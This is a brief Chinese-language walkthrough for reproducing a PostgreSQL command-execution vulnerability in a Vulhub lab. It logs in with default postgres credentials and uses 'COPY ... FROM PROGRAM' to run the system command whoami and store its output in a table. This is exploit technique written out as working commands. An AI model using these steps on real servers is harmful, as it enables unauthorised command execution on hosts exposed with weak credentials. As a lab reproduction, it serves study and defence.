**一、靶场搭建**

1、Vulhub启动

docker-compose up -d

**二、漏洞复现**

1、连接到postgres，默认用户名密码都是postgres

psql --host 172.26.120.36 --username postgres

postgres

2、创建一张存放命令执行结果的表cmd\_result

create table cmd\_result(result text);

3、执行系统命令whoami，将返回结果保存于cmd\_result表中

copy cmd\_result from PROGRAM 'whoami';

4、查表即可看到命令执行的结果

select \* from cmd\_result;

